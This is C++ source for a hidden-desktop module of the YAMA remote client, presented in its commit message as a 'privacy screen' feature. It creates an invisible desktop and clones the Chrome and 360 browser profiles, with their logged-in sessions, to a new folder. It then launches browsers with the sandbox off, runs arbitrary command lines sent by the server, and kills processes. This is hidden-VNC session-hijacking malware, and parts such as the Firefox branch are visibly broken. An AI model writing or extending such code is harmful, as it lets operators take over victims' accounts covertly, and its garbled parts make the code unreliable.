Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the YAMA client as an "实验功能" right-click submenu entry. The capture layer is rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy (vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and CScreenHideManager are migrated under the SimplePluginsScreenHide namespace, and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF. Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned as a sub-connection from KernelManager. The constructor sends TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged. Add a "隐私屏幕" entry to the "实验功能" submenu, routed via OnExperimentPrivateScreen. Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log. Co-Authored-By: deepseek-v4-pro
616 lines
21 KiB
C++
616 lines
21 KiB
C++
// ScreenManagers.cpp: implementation of the CScreenHideManager class.
|
||
//
|
||
//////////////////////////////////////////////////////////////////////
|
||
#include "StdAfx.h"
|
||
#include <Windowsx.h>
|
||
#include "ScreenHideManager.h"
|
||
#include <WinUser.h>
|
||
#include <string>
|
||
#include <Shlwapi.h>
|
||
#include <ShlObj.h>
|
||
#include <Tlhelp32.h>
|
||
#include <shellapi.h>
|
||
#include <winioctl.h>
|
||
#include <Wtsapi32.h>
|
||
#include <set>
|
||
#include <vector>
|
||
|
||
|
||
#pragma comment (lib, "Shlwapi.lib")
|
||
|
||
namespace SimplePluginsScreenHide {
|
||
|
||
//////////////////////////////////////////////////////////////////////
|
||
// Construction/Destruction
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
|
||
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
|
||
// 切换到目标桌面
|
||
if (!SetThreadDesktop(hDesk)) {
|
||
return FALSE;
|
||
}
|
||
|
||
// 枚举目标桌面的所有窗口
|
||
BOOL bFound = FALSE;
|
||
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
|
||
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
|
||
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
|
||
|
||
DWORD dwProcessId;
|
||
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||
|
||
// 获取进程名
|
||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
|
||
if (hProcess) {
|
||
char exePath[MAX_PATH];
|
||
DWORD size = MAX_PATH;
|
||
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
|
||
if (_stricmp(exePath, pData->first) == 0) {
|
||
*(pData->second) = TRUE;
|
||
return FALSE; // 终止枚举
|
||
}
|
||
}
|
||
CloseHandle(hProcess);
|
||
}
|
||
return TRUE; // 继续枚举
|
||
}, reinterpret_cast<LPARAM>(&data));
|
||
|
||
return bFound;
|
||
}
|
||
|
||
// 获取指定桌面下的所有进程ID
|
||
std::vector<DWORD> GetProcessIdsInDesktop(HDESK hDesk) {
|
||
std::set<DWORD> pidSet;
|
||
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
|
||
|
||
if (SetThreadDesktop(hDesk)) {
|
||
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
|
||
auto& pids = *reinterpret_cast<std::set<DWORD>*>(lParam);
|
||
|
||
// 跳过不可见窗口和子窗口
|
||
if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
|
||
DWORD pid = 0;
|
||
GetWindowThreadProcessId(hWnd, &pid);
|
||
if (pid != 0) pids.insert(pid);
|
||
}
|
||
return TRUE;
|
||
}, reinterpret_cast<LPARAM>(&pidSet));
|
||
SetThreadDesktop(hOriginalDesk);
|
||
}
|
||
|
||
return std::vector<DWORD>(pidSet.begin(), pidSet.end());
|
||
}
|
||
|
||
bool IsSystemProcess(DWORD pid) {
|
||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||
if (!hProcess) return true;
|
||
|
||
char exeName[MAX_PATH];
|
||
DWORD size = MAX_PATH;
|
||
bool isSystem = false;
|
||
|
||
if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
|
||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
|
||
isSystem = (_stricmp(exeName, szExplorerFile)==0);
|
||
}
|
||
CloseHandle(hProcess);
|
||
return isSystem;
|
||
}
|
||
|
||
void SafeTerminateDesktopProcesses(HDESK hDesk) {
|
||
// 检查桌面句柄有效性
|
||
if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
|
||
|
||
// 获取当前桌面(用于恢复)
|
||
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
|
||
if (!hOriginalDesk) {
|
||
Mprintf("Failed to get original desktop\n");
|
||
return;
|
||
}
|
||
|
||
// 切换桌面
|
||
if (!SetThreadDesktop(hDesk)) {
|
||
Mprintf("SetThreadDesktop failed\n");
|
||
return;
|
||
}
|
||
|
||
// 枚举进程
|
||
auto pids = GetProcessIdsInDesktop(hDesk);
|
||
SetThreadDesktop(hOriginalDesk); // 立即恢复
|
||
|
||
// 终止进程
|
||
for (DWORD pid : pids) {
|
||
if (pid == GetCurrentProcessId()) continue; // 跳过自己
|
||
|
||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||
if (!hProcess) {
|
||
Mprintf("OpenProcess failed for PID: %d\n", pid);
|
||
continue;
|
||
}
|
||
|
||
// 检查是否为系统进程
|
||
if (IsSystemProcess(pid)) {
|
||
CloseHandle(hProcess);
|
||
continue;
|
||
}
|
||
|
||
// 终止进程
|
||
if (!TerminateProcess(hProcess, 0)) {
|
||
Mprintf("TerminateProcess failed for PID: %d\n", pid);
|
||
}
|
||
CloseHandle(hProcess);
|
||
}
|
||
}
|
||
|
||
void CopyDir(TCHAR* from, TCHAR* to)
|
||
{
|
||
TCHAR fromWildCard[MAX_PATH] = { 0 };
|
||
lstrcpy(fromWildCard, from);
|
||
lstrcat(fromWildCard, _T("\\*"));
|
||
|
||
if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
|
||
return;
|
||
WIN32_FIND_DATA findData;
|
||
HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
|
||
if (hFindFile == INVALID_HANDLE_VALUE)
|
||
return;
|
||
|
||
do {
|
||
TCHAR currFileFrom[MAX_PATH] = { 0 };
|
||
lstrcpy(currFileFrom, from);
|
||
lstrcat(currFileFrom, _T("\\"));
|
||
lstrcat(currFileFrom, findData.cFileName);
|
||
|
||
TCHAR currFileTo[MAX_PATH] = { 0 };
|
||
lstrcpy(currFileTo, to);
|
||
lstrcat(currFileTo, _T("\\"));
|
||
lstrcat(currFileTo, findData.cFileName);
|
||
|
||
if
|
||
(
|
||
findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
|
||
strcmp(findData.cFileName, _T(".")) &&
|
||
strcmp(findData.cFileName, _T(".."))
|
||
) {
|
||
if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
|
||
CopyDir(currFileFrom, currFileTo);
|
||
} else
|
||
CopyFile(currFileFrom, currFileTo, FALSE);
|
||
} while (FindNextFile(hFindFile, &findData));
|
||
}
|
||
|
||
void killproc(const TCHAR* name)
|
||
{
|
||
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
|
||
PROCESSENTRY32 pEntry;
|
||
pEntry.dwSize = sizeof(pEntry);
|
||
BOOL hRes = Process32First(hSnapShot, &pEntry);
|
||
while (hRes) {
|
||
if (strcmp(pEntry.szExeFile, name) == 0) {
|
||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
|
||
(DWORD)pEntry.th32ProcessID);
|
||
if (hProcess != NULL) {
|
||
TerminateProcess(hProcess, 9);
|
||
CloseHandle(hProcess);
|
||
}
|
||
}
|
||
hRes = Process32Next(hSnapShot, &pEntry);
|
||
}
|
||
CloseHandle(hSnapShot);
|
||
}
|
||
|
||
CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) :
|
||
CScreenManagerBase(pClient, nBitDepth, user)
|
||
{
|
||
m_DlgToken = TOKEN_BITMAPINFO_HIDE;
|
||
}
|
||
|
||
CScreenHideManager::~CScreenHideManager()
|
||
{
|
||
}
|
||
|
||
VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||
{
|
||
if (lpBuffer[0] == TOKEN_HEARTBEAT)
|
||
return;
|
||
|
||
switch (lpBuffer[0]) {
|
||
case COMMAND_FLUSH_HIDE:
|
||
ResetScreen(32);
|
||
break;
|
||
case COMMAND_SCREEN_CONTROL:
|
||
ProcessCommand(lpBuffer + 1, nSize - 1);
|
||
break;
|
||
case COMMAND_NEXT:
|
||
NotifyDialogIsOpen();
|
||
break;
|
||
case COMMAND_SCREEN_GET_CLIPBOARD:
|
||
SendClientClipboard();
|
||
break;
|
||
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||
UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
|
||
break;
|
||
case COMMAND_SCREEN_SETSCREEN_HIDE:
|
||
Loop_Screen();
|
||
break;
|
||
case COMMAND_COMMAND_SCREENUALITY60_HIDE:
|
||
m_ScreenSpyObject->SendQuality(60);
|
||
break;
|
||
case COMMAND_COMMAND_SCREENUALITY85_HIDE:
|
||
m_ScreenSpyObject->SendQuality(85);
|
||
break;
|
||
case COMMAND_COMMAND_SCREENUALITY100_HIDE:
|
||
m_ScreenSpyObject->SendQuality(100);
|
||
break;
|
||
case COMMAND_HIDE_USER: {
|
||
return OnUserCommand(lpBuffer, nSize);
|
||
}
|
||
break;
|
||
case COMMAND_HIDE_CLEAR:
|
||
SafeTerminateDesktopProcesses(g_hDesk);
|
||
break;
|
||
default:
|
||
Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
|
||
break;
|
||
}
|
||
}
|
||
|
||
void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
|
||
char* deskName = (char*)m_DesktopID.c_str();
|
||
switch (lpBuffer[1]) {
|
||
case IDM_OPEN_Explorer: {
|
||
const DWORD neverCombine = 2;
|
||
const TCHAR* valueName = _T("TaskbarGlomLevel");
|
||
|
||
HKEY hKey;
|
||
RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
|
||
DWORD value;
|
||
DWORD size = sizeof(DWORD);
|
||
DWORD type = REG_DWORD;
|
||
RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
|
||
|
||
if (value != neverCombine)
|
||
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
|
||
|
||
TCHAR explorerPath[MAX_PATH] = { 0 };
|
||
GetWindowsDirectory(explorerPath, MAX_PATH);
|
||
lstrcat(explorerPath, _T("\\"));
|
||
lstrcat(explorerPath, _T("explorer.exe"));
|
||
|
||
STARTUPINFO startupInfo = { 0 };
|
||
startupInfo.cb = sizeof(startupInfo);
|
||
startupInfo.lpDesktop = deskName;
|
||
PROCESS_INFORMATION processInfo = { 0 };
|
||
CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||
|
||
APPBARDATA appbarData;
|
||
appbarData.cbSize = sizeof(appbarData);
|
||
for (int i = 0; i < 5; ++i) {
|
||
Sleep(1000);
|
||
appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
|
||
if (appbarData.hWnd)
|
||
break;
|
||
}
|
||
|
||
appbarData.lParam = ABS_ALWAYSONTOP;
|
||
SHAppBarMessage(ABM_SETSTATE, &appbarData);
|
||
|
||
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
|
||
RegCloseKey(hKey);
|
||
break;
|
||
}
|
||
case IDM_OPEN_run: {
|
||
TCHAR rundllPath[MAX_PATH] = { 0 };
|
||
SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
|
||
lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
|
||
STARTUPINFO startupInfo = { 0 };
|
||
startupInfo.cb = sizeof(startupInfo);
|
||
startupInfo.lpDesktop = deskName;
|
||
PROCESS_INFORMATION processInfo = { 0 };
|
||
CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||
break;
|
||
}
|
||
case IDM_OPEN_Powershell: {
|
||
TCHAR path[MAX_PATH] = { 0 };
|
||
lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
|
||
STARTUPINFO startupInfo = { 0 };
|
||
startupInfo.cb = sizeof(startupInfo);
|
||
startupInfo.lpDesktop = deskName;
|
||
PROCESS_INFORMATION processInfo = { 0 };
|
||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||
break;
|
||
}
|
||
case IDM_OPEN_Chrome: {
|
||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
|
||
lstrcat(chromePath, _T("\\Google\\Chrome\\"));
|
||
|
||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||
lstrcat(dataPath, chromePath);
|
||
lstrcat(dataPath, _T("User Data\\"));
|
||
|
||
TCHAR botId[35] = { 0 };
|
||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||
lstrcat(newDataPath, chromePath);
|
||
lstrcat(newDataPath, deskName);
|
||
|
||
CopyDir(dataPath, newDataPath);
|
||
|
||
TCHAR path[MAX_PATH] = { 0 };
|
||
lstrcat(path, _T("cmd.exe /c start "));
|
||
lstrcat(path, _T("chrome.exe"));
|
||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
|
||
lstrcat(path, _T("\""));
|
||
lstrcat(path, newDataPath);
|
||
|
||
STARTUPINFO startupInfo = { 0 };
|
||
startupInfo.cb = sizeof(startupInfo);
|
||
startupInfo.lpDesktop = deskName;
|
||
PROCESS_INFORMATION processInfo = { 0 };
|
||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||
break;
|
||
}
|
||
case IDM_OPEN_Edge: {
|
||
TCHAR path[MAX_PATH] = { 0 };
|
||
lstrcat(path, _T("cmd.exe /c start "));
|
||
lstrcat(path, _T("msedge.exe"));
|
||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||
STARTUPINFO startupInfo = { 0 };
|
||
startupInfo.cb = sizeof(startupInfo);
|
||
startupInfo.lpDesktop = deskName;
|
||
PROCESS_INFORMATION processInfo = { 0 };
|
||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||
break;
|
||
}
|
||
case IDM_OPEN_Brave: {
|
||
killproc(_T("brave.exe"));
|
||
TCHAR path[MAX_PATH] = { 0 };
|
||
lstrcat(path, _T("cmd.exe /c start "));
|
||
lstrcat(path, _T("brave.exe"));
|
||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||
STARTUPINFO startupInfo = { 0 };
|
||
startupInfo.cb = sizeof(startupInfo);
|
||
startupInfo.lpDesktop = deskName;
|
||
PROCESS_INFORMATION processInfo = { 0 };
|
||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||
break;
|
||
}
|
||
case IDM_OPEN_Firefox: {
|
||
TCHAR firefoxPath[MAX_PATH] = { 0 };
|
||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
|
||
lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
|
||
|
||
TCHAR profilesIniPath[MAX_PATH] = { 0 };
|
||
lstrcat(profilesIniPath, firefoxPath);
|
||
lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
|
||
|
||
HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||
if (hProfilesIni == INVALID_HANDLE_VALUE)
|
||
return;
|
||
|
||
DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
|
||
DWORD read;
|
||
TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
|
||
ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
|
||
profilesIniContent[profilesIniSize] = 0;
|
||
|
||
TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
|
||
if (!isRelativeRead) {
|
||
CloseHandle(hProfilesIni);
|
||
SAFE_DELETE(profilesIniContent);
|
||
return;
|
||
}
|
||
|
||
isRelativeRead += 11;
|
||
BOOL isRelative = (*isRelativeRead == _T('1'));
|
||
|
||
TCHAR* path = StrStr(profilesIniContent, _T("Path="));
|
||
if (!path) {
|
||
CloseHandle(hProfilesIni);
|
||
SAFE_DELETE(profilesIniContent);
|
||
return;
|
||
}
|
||
TCHAR* pathEnd = StrStr(path, _T("\r"));
|
||
if (!pathEnd) {
|
||
CloseHandle(hProfilesIni);
|
||
SAFE_DELETE(profilesIniContent);
|
||
return;
|
||
}
|
||
*pathEnd = 0;
|
||
path += 5;
|
||
|
||
TCHAR realPath[MAX_PATH] = { 0 };
|
||
if (isRelative)
|
||
lstrcpy(realPath, firefoxPath);
|
||
lstrcat(realPath, path);
|
||
|
||
TCHAR newPath[MAX_PATH];
|
||
lstrcpy(newPath, firefoxPath);
|
||
lstrcpy(newPath, deskName);
|
||
|
||
CopyDir(realPath, newPath);
|
||
|
||
TCHAR browserPath[MAX_PATH] = { 0 };
|
||
lstrcpy(browserPath, _T("cmd.exe /c start "));
|
||
lstrcpy(browserPath, _T("firefox.exe"));
|
||
lstrcpy(browserPath, _T(" -no-remote -profile "));
|
||
lstrcpy(browserPath, _T("\""));
|
||
lstrcpy(browserPath, newPath);
|
||
lstrcpy(browserPath, _T("\""));
|
||
|
||
STARTUPINFO startupInfo = { 0 };
|
||
startupInfo.cb = sizeof(startupInfo);
|
||
startupInfo.lpDesktop = deskName;
|
||
PROCESS_INFORMATION processInfo = { 0 };
|
||
CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||
break;
|
||
}
|
||
case IDM_OPEN_Iexplore: {
|
||
TCHAR path[MAX_PATH] = { 0 };
|
||
lstrcpy(path, _T("cmd.exe /c start "));
|
||
lstrcat(path, _T("iexplore.exe"));
|
||
|
||
STARTUPINFO startupInfo = { 0 };
|
||
startupInfo.cb = sizeof(startupInfo);
|
||
startupInfo.lpDesktop = deskName;
|
||
PROCESS_INFORMATION processInfo = { 0 };
|
||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||
break;
|
||
}
|
||
case IDM_OPEN_zdy: {
|
||
TCHAR path[MAX_PATH] = { 0 };
|
||
lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
|
||
STARTUPINFO startupInfo = { 0 };
|
||
startupInfo.cb = sizeof(startupInfo);
|
||
startupInfo.lpDesktop = deskName;
|
||
PROCESS_INFORMATION processInfo = { 0 };
|
||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||
break;
|
||
}
|
||
case IDM_OPEN_zdy2: {
|
||
ZdyCmd m_ZdyCmd = {};
|
||
memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
|
||
CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
|
||
|
||
TCHAR path[MAX_PATH] = { 0 };
|
||
lstrcpy(path, _T("cmd.exe /c start "));
|
||
lstrcat(path, m_ZdyCmd.cmdline);
|
||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||
lstrcat(path, _T("\""));
|
||
lstrcat(path, m_ZdyCmd.newpath);
|
||
STARTUPINFO startupInfo = { 0 };
|
||
startupInfo.cb = sizeof(startupInfo);
|
||
startupInfo.lpDesktop = deskName;
|
||
PROCESS_INFORMATION processInfo = { 0 };
|
||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||
break;
|
||
}
|
||
case IDM_OPEN_360JS: {
|
||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
|
||
lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
|
||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||
lstrcpy(dataPath, chromePath);
|
||
lstrcat(dataPath, _T("User Data\\"));
|
||
|
||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||
lstrcpy(newDataPath, chromePath);
|
||
lstrcat(newDataPath, deskName);
|
||
|
||
CopyDir(dataPath, newDataPath);
|
||
|
||
TCHAR path[MAX_PATH] = { 0 };
|
||
lstrcpy(path, _T("cmd.exe /c start "));
|
||
lstrcat(path, _T("360chrome.exe"));
|
||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||
lstrcat(path, _T("\""));
|
||
lstrcat(path, newDataPath);
|
||
|
||
STARTUPINFO startupInfo = { 0 };
|
||
startupInfo.cb = sizeof(startupInfo);
|
||
startupInfo.lpDesktop = deskName;
|
||
PROCESS_INFORMATION processInfo = { 0 };
|
||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||
break;
|
||
}
|
||
case IDM_OPEN_360AQ: {
|
||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||
|
||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
|
||
lstrcat(chromePath, _T("\\"));
|
||
|
||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||
lstrcpy(dataPath, chromePath);
|
||
lstrcat(dataPath, _T("secoresdk\\"));
|
||
|
||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||
lstrcpy(newDataPath, chromePath);
|
||
lstrcat(newDataPath, deskName);
|
||
|
||
CopyDir(dataPath, newDataPath);
|
||
lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
|
||
|
||
TCHAR path[MAX_PATH] = { 0 };
|
||
lstrcpy(path, _T("cmd.exe /c start "));
|
||
lstrcat(path, newDataPath);
|
||
|
||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||
|
||
STARTUPINFO startupInfo = { 0 };
|
||
startupInfo.cb = sizeof(startupInfo);
|
||
startupInfo.lpDesktop = deskName;
|
||
PROCESS_INFORMATION processInfo = { 0 };
|
||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||
break;
|
||
}
|
||
case IDM_OPEN_360AQ2: {
|
||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||
|
||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
|
||
lstrcat(chromePath, _T("\\"));
|
||
|
||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||
lstrcpy(dataPath, chromePath);
|
||
lstrcat(dataPath, _T("360se6\\"));
|
||
|
||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||
lstrcpy(newDataPath, chromePath);
|
||
lstrcat(newDataPath, deskName);
|
||
|
||
CopyDir(dataPath, newDataPath);
|
||
lstrcat(newDataPath, _T("\\Application\\360se.exe"));
|
||
|
||
TCHAR path[MAX_PATH] = { 0 };
|
||
lstrcpy(path, _T("cmd.exe /c start "));
|
||
lstrcat(path, newDataPath);
|
||
|
||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||
|
||
STARTUPINFO startupInfo = { 0 };
|
||
startupInfo.cb = sizeof(startupInfo);
|
||
startupInfo.lpDesktop = deskName;
|
||
PROCESS_INFORMATION processInfo = { 0 };
|
||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
void CScreenHideManager::InitScreenSpy() {
|
||
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
|
||
if (!hDesk) {
|
||
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
|
||
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
|
||
}
|
||
else {
|
||
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
|
||
}
|
||
if (hDesk) {
|
||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
|
||
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
|
||
{
|
||
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
|
||
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
|
||
}
|
||
} else {
|
||
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
|
||
}
|
||
SetThreadDesktop(g_hDesk = hDesk);
|
||
}
|
||
BYTE* param = (BYTE*)m_ptrUser;
|
||
int compress = ALGORITHM_DIFF;
|
||
if (param) {
|
||
compress = param[1];
|
||
delete[] param;
|
||
m_ptrUser = NULL;
|
||
}
|
||
m_ScreenSpyObject = new CScreenHideSpy(32, compress);
|
||
}
|
||
|
||
} // namespace SimplePluginsScreenHide
|